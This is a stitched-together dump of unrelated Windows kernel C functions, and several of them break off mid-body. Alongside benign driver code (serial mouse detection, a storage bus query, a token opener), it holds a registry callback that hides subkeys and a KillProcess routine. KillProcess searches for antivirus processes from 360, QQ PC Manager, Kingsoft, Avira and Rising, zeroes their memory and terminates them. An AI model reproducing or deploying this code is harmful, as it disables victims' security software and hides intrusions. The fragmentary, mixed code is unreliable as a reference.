static NTSTATUS _OnQueryKey(PREGISTRY_KEY_RECORD KeyRecord, PREG_QUERY_KEY_INFORMATION Info) { ULONG pseudoValueCount = 0; ULONG hiddenKeyCount = 0; NTSTATUS status = STATUS_UNSUCCESSFUL; DEBUG_ENTER_FUNCTION("KeyRecord=0x%p; Info=0x%p", KeyRecord, Info); status = STATUS_SUCCESS; if (Info->Length > 0 && Info->KeyInformation != NULL) { switch (Info->KeyInformationClass) { case KeyCachedInformation: case KeyFullInformation: { ULONG retLength = 0; HANDLE keyHandle = NULL; PVOID keyInformation = NULL; KPROCESSOR_MODE accessMode = ExGetPreviousMode(); hiddenKeyCount = HashTableGetItemCount(KeyRecord->HiddenSubkeys); pseudoValueCount = KeyRecordGetPseudoValuesCount(KeyRecord); if (hiddenKeyCount + pseudoValueCount > 0) { status = ObOpenObjectByPointer(Info->Object, OBJ_KERNEL_HANDLE, NULL, KEY_QUERY_VALUE, *CmKeyObjectType, KernelMode, &keyHandle); if (NT_SUCCESS(status)) { keyInformation = HeapMemoryAllocPaged(Info->Length); if (keyInformation != NULL) { status = ZwQueryKey(keyHandle, Info->KeyInformationClass, keyInformation, Info->Length, &retLength); if (NT_SUCCESS(status)) { PKEY_CACHED_INFORMATION ci = (PKEY_CACHED_INFORMATION)keyInformation; PKEY_FULL_INFORMATION fi = (PKEY_FULL_INFORMATION)keyInformation; switch (Info->KeyInformationClass) { case KeyCachedInformation: ci->SubKeys -= hiddenKeyCount; ci->Values += pseudoValueCount; break; case KeyFullInformation: fi->SubKeys -= hiddenKeyCount; fi->Values += pseudoValueCount; break; default: ASSERT(FALSE); break; } if (accessMode == UserMode) { __try { memcpy(Info->KeyInformation, keyInformation, retLength); if (Info->ResultLength != NULL) *(Info->ResultLength) = retLength; } __except (EXCEPTION_EXECUTE_HANDLER) { status = GetExceptionCode(); } } else { memcpy(Info->KeyInformation, keyInformation, retLength); if (Info->ResultLength != NULL) *(Info->ResultLength) = retLength; } if (NT_SUCCESS(status)) status = STATUS_CALLBACK_BYPASS; } HeapMemoryFree(keyInformation); } else status = STATUS_INSUFFICIENT_RESOURCES; ZwClose(keyHandle); }
// // Query information on LanscsiBus // NTSTATUS LSBus_QueryInformation( PFDO_DEVICE_DATA FdoData, PBUSENUM_QUERY_INFORMATION Query, PBUSENUM_INFORMATION Information, LONG OutBufferLength, PLONG OutBufferLenNeeded ) { NTSTATUS ntStatus; PLIST_ENTRY entry; PPDO_DEVICE_DATA PdoData; ntStatus = STATUS_SUCCESS; *OutBufferLenNeeded = OutBufferLength; PdoData = NULL; // // Acquire the mutex to prevent PdoData ( Device Extension ) to disappear. // KeEnterCriticalRegion(); ExAcquireFastMutex (&FdoData->Mutex); switch(Query->InfoClass) { case INFORMATION_NUMOFPDOS: { ULONG NumOfPDOs; NumOfPDOs = 0; for (entry = FdoData->ListOfPDOs.Flink; entry != &FdoData->ListOfPDOs; entry = entry->Flink) { NumOfPDOs ++; } Information->NumberOfPDOs = NumOfPDOs; break; } case INFORMATION_PDO: { KIRQL oldIrql; for (entry = FdoData->ListOfPDOs.Flink; entry != &FdoData->ListOfPDOs; entry = entry->Flink) { PdoData = CONTAINING_RECORD(entry, PDO_DEVICE_DATA, Link); if(Query->SlotNo == PdoData->SlotNo) { ObReferenceObject(PdoData->Self); break; } PdoData = NULL; } if(PdoData) { KeAcquireSpinLock(&PdoData->LanscsiAdapterPDO.LSDevDataSpinLock, &oldIrql); Bus_KdPrint_Def(BUS_DBG_SS_TRACE, ("Status:%08lx DAcc:%08lx GAcc:%08lx\n", PdoData->LanscsiAdapterPDO.AdapterStatus, PdoData->LanscsiAdapterPDO.DesiredAccess, PdoData->LanscsiAdapterPDO.GrantedAccess )); Information->PdoInfo.AdapterStatus = PdoData->LanscsiAdapterPDO.AdapterStatus; Information->PdoInfo.DesiredAccess = PdoData->LanscsiAdapterPDO.DesiredAccess; Information->PdoInfo.GrantedAccess = PdoData->LanscsiAdapterPDO.GrantedAccess; KeReleaseSpinLock(&PdoData->LanscsiAdapterPDO.LSDevDataSpinLock, oldIrql); ObDereferenceObject(PdoData->Self); } else { Bus_KdPrint_Def(BUS_DBG_SS_NOISE, ("No PDO for SlotNo %d!\n", Query->SlotNo)); ntStatus = STATUS_NO_SUCH_DEVICE; } break; } case INFORMATION_PDOENUM: { LARGE_INTEGER TimeOut; for (entry = FdoData->ListOfPDOs.Flink; entry != &FdoData->ListOfPDOs; entry = entry->Flink) { PdoData = CONTAINING_RECORD(entry, PDO_DEVICE_DATA, Link); if(Query->SlotNo == PdoData->SlotNo) { ObReferenceObject(PdoData->Self); break; } PdoData = NULL; } ExReleaseFastMutex (&FdoData->Mutex); KeLeaveCriticalRegion(); if(!PdoData) { KeEnterCriticalRegion(); ExAcquireFastMutex (&FdoData->Mutex); ntStatus = STATUS_NO_SUCH_DEVICE; break; } // // Wait until LDServ sends AddTargetData. // Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("waiting for AddTargetEvent.\n")); TimeOut.QuadPart = -10 * 1000 * 1000 * 120; // 120 seconds ntStatus = KeWaitForSingleObject( &PdoData->LanscsiAdapterPDO.AddTargetEvent, Executive, KernelMode, FALSE, &TimeOut ); if(ntStatus != STATUS_SUCCESS) { KeEnterCriticalRegion(); ExAcquireFastMutex (&FdoData->Mutex); Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("failed to wait for AddTargetEvent.\n")); ntStatus = STATUS_NO_SUCH_DEVICE; ObDereferenceObject(PdoData->Self); break; } Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Completed to wait for AddTargetEvent.\n")); KeEnterCriticalRegion(); ExAcquireFastMutex (&FdoData->Mutex); if(PdoData) { if(PdoData->LanscsiAdapterPDO.Flags & LSDEVDATA_FLAG_LURDESC) { // // A LUR descriptor is set. // if(PdoData->LanscsiAdapterPDO.AddDevInfo == NULL) { ntStatus = STATUS_NO_SUCH_DEVICE; ObDereferenceObject(PdoData->Self); break; } *OutBufferLenNeeded = FIELD_OFFSET(BUSENUM_INFORMATION, PdoEnumInfo) + FIELD_OFFSET(BUSENUM_INFORMATION_PDOENUM, AddDevInfo) + PdoData->LanscsiAdapterPDO.AddDevInfoLength; if(OutBufferLength < *OutBufferLenNeeded) { ntStatus = STATUS_BUFFER_TOO_SMALL; } else { RtlCopyMemory( &Information->PdoEnumInfo.AddDevInfo, PdoData->LanscsiAdapterPDO.AddDevInfo, PdoData->LanscsiAdapterPDO.AddDevInfoLength ); Information->PdoEnumInfo.Flags = PDOENUM_FLAG_LURDESC; Information->PdoEnumInfo.DisconEventToService = PdoData->LanscsiAdapterPDO.DisconEventToService; Information->PdoEnumInfo.AlarmEventToService = PdoData->LanscsiAdapterPDO.AlarmEventToService; Information->PdoEnumInfo.MaxBlocksPerRequest = PdoData->LanscsiAdapterPDO.MaxBlocksPerRequest; } } else { // // ADD_TARGET_DATA is set. // PLANSCSI_ADD_TARGET_DATA AddTargetData; LONG AddTargetLenNeeded; LONG InfoBuffLenNeeded; AddTargetData = PdoData->LanscsiAdapterPDO.AddDevInfo; if(AddTargetData == NULL) { ntStatus = STATUS_NO_SUCH_DEVICE; ObDereferenceObject(PdoData->Self); break; } // // calculate the length needed. // AddTargetLenNeeded = sizeof(LANSCSI_ADD_TARGET_DATA) + (AddTargetData->ulNumberOfUnitDiskList-1)*sizeof(LSBUS_UNITDISK); InfoBuffLenNeeded = sizeof(BUSENUM_INFORMATION) - sizeof(BYTE) + (AddTargetLenNeeded); *OutBufferLenNeeded = InfoBuffLenNeeded; if(OutBufferLength < InfoBuffLenNeeded) { ntStatus = STATUS_BUFFER_TOO_SMALL; } else { RtlCopyMemory(&Information->PdoEnumInfo.AddDevInfo, AddTargetData, AddTargetLenNeeded); Information->PdoEnumInfo.Flags = 0; Information->PdoEnumInfo.DisconEventToService = PdoData->LanscsiAdapterPDO.DisconEventToService; Information->PdoEnumInfo.AlarmEventToService = PdoData->LanscsiAdapterPDO.AlarmEventToService; Information->PdoEnumInfo.MaxBlocksPerRequest = PdoData->LanscsiAdapterPDO.MaxBlocksPerRequest; } } } else { ntStatus = STATUS_NO_SUCH_DEVICE; } ObDereferenceObject(PdoData->Self); break; } case INFORMATION_PDOEVENT: { for (entry = FdoData->ListOfPDOs.Flink; entry != &FdoData->ListOfPDOs; entry = entry->Flink) { PdoData = CONTAINING_RECORD(entry, PDO_DEVICE_DATA, Link); if(Query->SlotNo == PdoData->SlotNo) { ObReferenceObject(PdoData->Self); break; } PdoData = NULL; } if(PdoData == NULL) { Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Could not find the PDO:%u.\n", Query->SlotNo)); ntStatus = STATUS_NO_SUCH_DEVICE; break; } if( Query->Flags & LSBUS_QUERYFLAG_USERHANDLE) { Information->PdoEvents.SlotNo = PdoData->SlotNo; Information->PdoEvents.Flags = LSBUS_QUERYFLAG_USERHANDLE; // // Get user-mode event handles. // ntStatus = ObOpenObjectByPointer( PdoData->LanscsiAdapterPDO.DisconEventToService, 0, NULL, GENERIC_READ, *ExEventObjectType, UserMode, &Information->PdoEvents.DisconEvent ); if(!NT_SUCCESS(ntStatus)) { ObDereferenceObject(PdoData->Self); Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Could not open Disconnect event object!!\n")); break; } ntStatus = ObOpenObjectByPointer( PdoData->LanscsiAdapterPDO.AlarmEventToService, 0, NULL, GENERIC_READ, *ExEventObjectType, UserMode, &Information->PdoEvents.AlarmEvent ); if(!NT_SUCCESS(ntStatus)) { ObDereferenceObject(PdoData->Self); Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Could not open Disconnect event object!!\n")); break; } } else { Information->PdoEvents.SlotNo = PdoData->SlotNo; Information->PdoEvents.Flags = 0; Information->PdoEvents.DisconEvent = PdoData->LanscsiAdapterPDO.DisconEventToService; Information->PdoEvents.AlarmEvent = PdoData->LanscsiAdapterPDO.AlarmEventToService; } ObDereferenceObject(PdoData->Self); break; } case INFORMATION_ISREGISTERED: { HANDLE DeviceReg; HANDLE NdasDeviceReg; ASSERT(KeGetCurrentIrql() == PASSIVE_LEVEL); DeviceReg = NULL; NdasDeviceReg = NULL; ntStatus = Reg_OpenDeviceRegistry(FdoData->UnderlyingPDO, &DeviceReg, KEY_READ|KEY_WRITE); if(!NT_SUCCESS(ntStatus)) { Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("ISREGISTERED: OpenServiceRegistry() failed.\n")); break; } ntStatus = Reg_OpenNdasDeviceRegistry(&NdasDeviceReg, KEY_READ|KEY_WRITE, DeviceReg); if(!NT_SUCCESS(ntStatus)) { ZwClose(DeviceReg); Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("ISREGISTERED: OpenNdasDeviceRegistry() failed.\n")); break; } ntStatus = Reg_LookupRegDeviceWithSlotNo(NdasDeviceReg, Query->SlotNo, &DeviceReg); if(NT_SUCCESS(ntStatus)) { ZwClose(DeviceReg); Information->IsRegistered = 1; Bus_KdPrint_Def(BUS_DBG_SS_INFO, ("ISREGISTERED: Device(%d) is registered.\n", Query->SlotNo)); } else { Information->IsRegistered = 0; Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("ISREGISTERED: Could not find a Device(%d).\n", Query->SlotNo)); } if(NdasDeviceReg) ZwClose(NdasDeviceReg); if(DeviceReg) ZwClose(DeviceReg); break; } case INFORMATION_PDOSLOTLIST: { LONG outputLength; LONG entryCnt; if(OutBufferLength < FIELD_OFFSET(BUSENUM_INFORMATION, PdoSlotList)) { Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("PDOSLOTLIST: Buffer size is less than required\n")); ntStatus = STATUS_INVALID_PARAMETER; break; } Information->Size = 0; Information->InfoClass = INFORMATION_PDOSLOTLIST; // // Add the size of information header. // outputLength = FIELD_OFFSET(BUSENUM_INFORMATION, PdoSlotList); outputLength += sizeof(UINT32); // SlotNoCnt entryCnt = 0; for (entry = FdoData->ListOfPDOs.Flink; entry != &FdoData->ListOfPDOs; entry = entry->Flink) { PdoData = CONTAINING_RECORD(entry, PDO_DEVICE_DATA, Link); // // Add the size of each slot entry. // outputLength += sizeof(UINT32); if(outputLength > OutBufferLength) { continue; } Information->PdoSlotList.SlotNo[entryCnt] = PdoData->SlotNo; Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("PDOSLOTLIST: Entry #%u: %u\n", entryCnt, PdoData->SlotNo)); entryCnt ++; } if(outputLength > OutBufferLength) { Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("PDOSLOTLIST: Could not find a Device(%d).\n", Query->SlotNo)); *OutBufferLenNeeded = outputLength; ntStatus = STATUS_BUFFER_TOO_SMALL; } else { Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("PDOSLOTLIST: Entry count:%d.\n", entryCnt)); Information->Size = outputLength; Information->PdoSlotList.SlotNoCnt = entryCnt; *OutBufferLenNeeded = outputLength; } break; } default: ntStatus = STATUS_INVALID_PARAMETER; } ExReleaseFastMutex (&FdoData->Mutex); KeLeaveCriticalRegion(); return ntStatus; }
/* KphOpenProcessTokenEx * * Opens the primary token of the specified process. */ NTSTATUS KphOpenProcessTokenEx( __in HANDLE ProcessHandle, __in ACCESS_MASK DesiredAccess, __in ULONG ObjectAttributes, __out PHANDLE TokenHandle, __in KPROCESSOR_MODE AccessMode ) { NTSTATUS status = STATUS_SUCCESS; PEPROCESS processObject; PACCESS_TOKEN tokenObject; HANDLE tokenHandle; ACCESS_STATE accessState; CHAR auxData[AUX_ACCESS_DATA_SIZE]; status = SeCreateAccessState( &accessState, (PAUX_ACCESS_DATA)auxData, DesiredAccess, (PGENERIC_MAPPING)KVOFF(*SeTokenObjectType, OffOtiGenericMapping) ); if (!NT_SUCCESS(status)) { return status; } if (accessState.RemainingDesiredAccess & MAXIMUM_ALLOWED) accessState.PreviouslyGrantedAccess |= TOKEN_ALL_ACCESS; else accessState.PreviouslyGrantedAccess |= accessState.RemainingDesiredAccess; accessState.RemainingDesiredAccess = 0; status = ObReferenceObjectByHandle( ProcessHandle, 0, *PsProcessType, KernelMode, &processObject, NULL ); if (!NT_SUCCESS(status)) { SeDeleteAccessState(&accessState); return status; } tokenObject = PsReferencePrimaryToken(processObject); ObDereferenceObject(processObject); status = ObOpenObjectByPointer( tokenObject, ObjectAttributes, &accessState, 0, *SeTokenObjectType, AccessMode, &tokenHandle ); SeDeleteAccessState(&accessState); ObDereferenceObject(tokenObject); if (NT_SUCCESS(status)) *TokenHandle = tokenHandle; return status; }
SERMOUSE_MOUSE_TYPE SermouseDetectLegacyDevice( IN PDEVICE_OBJECT LowerDevice) { HANDLE Handle; ULONG Fcr, Mcr; ULONG BaudRate; ULONG Command; SERIAL_TIMEOUTS Timeouts; SERIAL_LINE_CONTROL LCR; ULONG_PTR i, Count = 0; UCHAR Buffer[16]; SERMOUSE_MOUSE_TYPE MouseType = mtNone; NTSTATUS Status; TRACE_(SERMOUSE, "SermouseDetectLegacyDevice(LowerDevice %p)\n", LowerDevice); RtlZeroMemory(Buffer, sizeof(Buffer)); /* Open port */ Status = ObOpenObjectByPointer( LowerDevice, OBJ_KERNEL_HANDLE, NULL, 0, NULL, KernelMode, &Handle); if (!NT_SUCCESS(Status)) return mtNone; /* Reset UART */ TRACE_(SERMOUSE, "Reset UART\n"); Mcr = 0; /* MCR: DTR/RTS/OUT2 off */ Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_MODEM_CONTROL, &Mcr, sizeof(Mcr), NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; /* Set communications parameters */ TRACE_(SERMOUSE, "Set communications parameters\n"); /* DLAB off */ Fcr = 0; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_FIFO_CONTROL, &Fcr, sizeof(Fcr), NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; /* Set serial port speed */ BaudRate = 1200; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_BAUD_RATE, &BaudRate, sizeof(BaudRate), NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; /* Set LCR */ LCR.WordLength = 7; LCR.Parity = NO_PARITY; LCR.StopBits = STOP_BITS_2; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_LINE_CONTROL, &LCR, sizeof(LCR), NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; /* Flush receive buffer */ TRACE_(SERMOUSE, "Flush receive buffer\n"); Command = SERIAL_PURGE_RXCLEAR; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_MODEM_CONTROL, &Command, sizeof(Command), NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; /* Wait 100 ms */ Wait(100); /* Enable DTR/RTS */ TRACE_(SERMOUSE, "Enable DTR/RTS\n"); Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_DTR, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_RTS, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; /* Set timeout to 500 microseconds */ TRACE_(SERMOUSE, "Set timeout to 500 microseconds\n"); Timeouts.ReadIntervalTimeout = 100; Timeouts.ReadTotalTimeoutMultiplier = 0; Timeouts.ReadTotalTimeoutConstant = 500; Timeouts.WriteTotalTimeoutMultiplier = Timeouts.WriteTotalTimeoutConstant = 0; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_TIMEOUTS, &Timeouts, sizeof(Timeouts), NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; /* Fill the read buffer */ TRACE_(SERMOUSE, "Fill the read buffer\n"); Status = ReadBytes(LowerDevice, Buffer, sizeof(Buffer)/sizeof(Buffer[0]), &Count); if (!NT_SUCCESS(Status)) goto ByeBye; for (i = 0; i < Count; i++) { if (Buffer[i] == 'B') { /* Sign for Microsoft Ballpoint */ ERR_(SERMOUSE, "Microsoft Ballpoint device detected. THIS DEVICE IS NOT YET SUPPORTED"); MouseType = mtNone; goto ByeBye; } else if (Buffer[i] == 'M') { /* Sign for Microsoft Mouse protocol followed by button specifier */ if (i == sizeof(Buffer) - 1) { /* Overflow Error */ goto ByeBye; } switch (Buffer[i + 1]) { case '3': INFO_(SERMOUSE, "Microsoft Mouse with 3-buttons detected\n"); MouseType = mtLogitech; break; case 'Z': INFO_(SERMOUSE, "Microsoft Wheel Mouse detected\n"); MouseType = mtWheelZ; break; default: INFO_(SERMOUSE, "Microsoft Mouse with 2-buttons detected\n"); MouseType = mtMicrosoft; break; } goto ByeBye; } } ByeBye: /* Close port */ if (Handle) ZwClose(Handle); return MouseType; }
void KillProcess(PVOID Context) { NTSTATUS status; HANDLE prohd; BOOLEAN bexe; ULONG puserAddress; KAPC_STATE ApcState; ANSI_STRING imagename; PEPROCESS pepro,ptempepro; LARGE_INTEGER timeout; PSE_AUDIT_PROCESS_CREATION_INFO papc; ANSI_STRING pastr; PVOID pstrb=NULL; while(TRUE) { pepro=PsGetCurrentProcess(); ptempepro=pepro; do { bexe=FALSE; RtlInitAnsiString(&imagename,(PVOID)((ULONG)ptempepro+eprooffset.ImageFileName)); //+0x174 ImageFileName papc=(PSE_AUDIT_PROCESS_CREATION_INFO)((ULONG)ptempepro+eprooffset.SE_AUDIT_PROCESS_CREATION_INFO);//EPROCESS偏移0x1f4处存放着_SE_AUDIT_PROCESS_CREATION_INFO结构的指针 __try { if (papc->ImageFileName->Name.Length!=0) { RtlUnicodeStringToAnsiString(&pastr,&papc->ImageFileName->Name,TRUE); pstrb=strstr(pastr.Buffer,"360"); if (pstrb!=NULL) { bexe=TRUE; } RtlFreeAnsiString(&pastr); } }__except(1){} KillCompare(&imagename,"360tray.exe",&bexe); KillCompare(&imagename,"360safe.exe",&bexe); KillCompare(&imagename,"ZhuDongFangYu.e",&bexe); KillCompare(&imagename,"360rp.exe",&bexe); KillCompare(&imagename,"360sd.exe",&bexe); KillCompare(&imagename,"qqpcrtp.exe",&bexe); KillCompare(&imagename,"qqpcleakscan.ex",&bexe); KillCompare(&imagename,"qqpctray.exe",&bexe); KillCompare(&imagename,"qqpcmgr.exe",&bexe); KillCompare(&imagename,"ksafe.exe",&bexe); KillCompare(&imagename,"kscan.exe",&bexe); KillCompare(&imagename,"kxescore.exe",&bexe); KillCompare(&imagename,"kxetray.exe",&bexe); KillCompare(&imagename,"ksafesvc.exe",&bexe); KillCompare(&imagename,"ksafetray.exe",&bexe); KillCompare(&imagename,"ksmgui.exe",&bexe); KillCompare(&imagename,"ksmsvc.exe",&bexe); KillCompare(&imagename,"avcenter.exe",&bexe); KillCompare(&imagename,"avgnt.exe",&bexe); KillCompare(&imagename,"avguard.exe",&bexe); KillCompare(&imagename,"avshadow.exe",&bexe); KillCompare(&imagename,"sched.exe",&bexe); KillCompare(&imagename,"ravmond.exe",&bexe); KillCompare(&imagename,"rsagent.exe",&bexe); KillCompare(&imagename,"rstray.exe",&bexe); KillCompare(&imagename,"rsmgrsvc.exe",&bexe); if (bexe) { KeStackAttachProcess(ptempepro,&ApcState); for(puserAddress=0;puserAddress<=0x7fffffff;puserAddress+=0x1000) { if(MmIsAddressValid((PVOID)puserAddress)) { __try { ProbeForWrite((PVOID)puserAddress,0x1000,sizeof(ULONG)); RtlZeroMemory((PVOID)puserAddress, 0x1000); }__except(1) { continue; } } else { if(puserAddress>0x1000000)//填这么多足够破坏进程数据了 { break; } } } KeUnstackDetachProcess(&ApcState); status=ObOpenObjectByPointer(ptempepro,0,NULL,PROCESS_ALL_ACCESS,*PsProcessType,KernelMode,&prohd); if (NT_SUCCESS(status)) { ZwTerminateProcess(prohd,0); ZwClose(prohd); } } ptempepro=(PEPROCESS)((ULONG)(*(PULONG)((ULONG)ptempepro+eprooffset.ActiveProcessLinks))-eprooffset.ActiveProcessLinks); //+0x088 ActiveProcessLinks : _LIST_ENTRY } while (ptempepro!=pepro);
NTSTATUS SerenumDetectPnpDevice( IN PDEVICE_OBJECT DeviceObject, IN PDEVICE_OBJECT LowerDevice) { HANDLE Handle = NULL; UCHAR Buffer[256]; ULONG BaudRate; ULONG_PTR TotalBytesReceived = 0; ULONG_PTR Size; ULONG Msr, Purge; ULONG i; BOOLEAN BufferContainsBeginId = FALSE; BOOLEAN BufferContainsEndId = FALSE; SERIAL_LINE_CONTROL Lcr; SERIAL_TIMEOUTS Timeouts; SERIALPERF_STATS PerfStats; NTSTATUS Status; /* Open port */ Status = ObOpenObjectByPointer( LowerDevice, OBJ_KERNEL_HANDLE, NULL, 0, NULL, KernelMode, &Handle); if (!NT_SUCCESS(Status)) goto ByeBye; /* 1. COM port initialization, check for device enumerate */ TRACE_(SERENUM, "COM port initialization, check for device enumerate\n"); Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_CLR_DTR, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_CLR_RTS, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Wait(200); Size = sizeof(Msr); Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_GET_MODEMSTATUS, NULL, 0, &Msr, &Size); if (!NT_SUCCESS(Status)) goto ByeBye; if ((Msr & SERIAL_DSR_STATE) == 0) goto DisconnectIdle; /* 2. COM port setup, 1st phase */ TRACE_(SERENUM, "COM port setup, 1st phase\n"); BaudRate = 1200; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_BAUD_RATE, &BaudRate, sizeof(BaudRate), NULL, 0); if (!NT_SUCCESS(Status)) goto ByeBye; Lcr.WordLength = 7; Lcr.Parity = NO_PARITY; Lcr.StopBits = STOP_BIT_1; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_LINE_CONTROL, &Lcr, sizeof(Lcr), NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_CLR_DTR, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_CLR_RTS, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Wait(200); Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_DTR, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Wait(200); /* 3. Wait for response, 1st phase */ TRACE_(SERENUM, "Wait for response, 1st phase\n"); Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_RTS, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Timeouts.ReadIntervalTimeout = 0; Timeouts.ReadTotalTimeoutMultiplier = 0; Timeouts.ReadTotalTimeoutConstant = 200; Timeouts.WriteTotalTimeoutMultiplier = Timeouts.WriteTotalTimeoutConstant = 0; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_TIMEOUTS, &Timeouts, sizeof(Timeouts), NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Status = ReadBytes(LowerDevice, Buffer, sizeof(Buffer), &Size); if (!NT_SUCCESS(Status)) goto ByeBye; if (Size != 0) goto CollectPnpComDeviceId; /* 4. COM port setup, 2nd phase */ TRACE_(SERENUM, "COM port setup, 2nd phase\n"); Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_CLR_DTR, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_CLR_RTS, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Purge = SERIAL_PURGE_RXABORT | SERIAL_PURGE_RXCLEAR; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_PURGE, &Purge, sizeof(ULONG), NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Wait(200); /* 5. Wait for response, 2nd phase */ TRACE_(SERENUM, "Wait for response, 2nd phase\n"); Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_DTR, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_RTS, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Status = ReadBytes(LowerDevice, Buffer, 1, &TotalBytesReceived); if (!NT_SUCCESS(Status)) goto ByeBye; if (TotalBytesReceived != 0) goto CollectPnpComDeviceId; Size = sizeof(Msr); Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_GET_MODEMSTATUS, NULL, 0, &Msr, &Size); if (!NT_SUCCESS(Status)) goto ByeBye; if ((Msr & SERIAL_DSR_STATE) == 0) goto VerifyDisconnect; else goto ConnectIdle; /* 6. Collect PnP COM device ID */ CollectPnpComDeviceId: TRACE_(SERENUM, "Collect PnP COM device ID\n"); Timeouts.ReadIntervalTimeout = 200; Timeouts.ReadTotalTimeoutMultiplier = 0; Timeouts.ReadTotalTimeoutConstant = 2200; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_TIMEOUTS, &Timeouts, sizeof(Timeouts), NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Status = ReadBytes(LowerDevice, &Buffer[TotalBytesReceived], sizeof(Buffer) - TotalBytesReceived, &Size); if (!NT_SUCCESS(Status)) goto ByeBye; TotalBytesReceived += Size; Size = sizeof(PerfStats); Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_GET_STATS, NULL, 0, &PerfStats, &Size); if (!NT_SUCCESS(Status)) goto ByeBye; if (PerfStats.FrameErrorCount + PerfStats.ParityErrorCount != 0) goto ConnectIdle; for (i = 0; i < TotalBytesReceived; i++) { if (Buffer[i] == BEGIN_ID) BufferContainsBeginId = TRUE; if (Buffer[i] == END_ID) BufferContainsEndId = TRUE; } if (TotalBytesReceived == 1 || BufferContainsEndId) { if (IsValidPnpIdString(Buffer, TotalBytesReceived)) { Status = ReportDetectedPnpDevice(Buffer, TotalBytesReceived); goto ByeBye; } goto ConnectIdle; } if (!BufferContainsBeginId) goto ConnectIdle; if (!BufferContainsEndId) goto ConnectIdle; Size = sizeof(Msr); Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_GET_MODEMSTATUS, NULL, 0, &Msr, &Size); if (!NT_SUCCESS(Status)) goto ByeBye; if ((Msr & SERIAL_DSR_STATE) == 0) goto VerifyDisconnect; /* 7. Verify disconnect */ VerifyDisconnect: TRACE_(SERENUM, "Verify disconnect\n"); Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_DTR, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_CLR_RTS, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Wait(5000); goto DisconnectIdle; /* 8. Connect idle */ ConnectIdle: TRACE_(SERENUM, "Connect idle\n"); Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_DTR, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_CLR_RTS, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; BaudRate = 300; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_BAUD_RATE, &BaudRate, sizeof(BaudRate), NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Lcr.WordLength = 7; Lcr.Parity = NO_PARITY; Lcr.StopBits = STOP_BIT_1; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_LINE_CONTROL, &Lcr, sizeof(Lcr), NULL, NULL); if 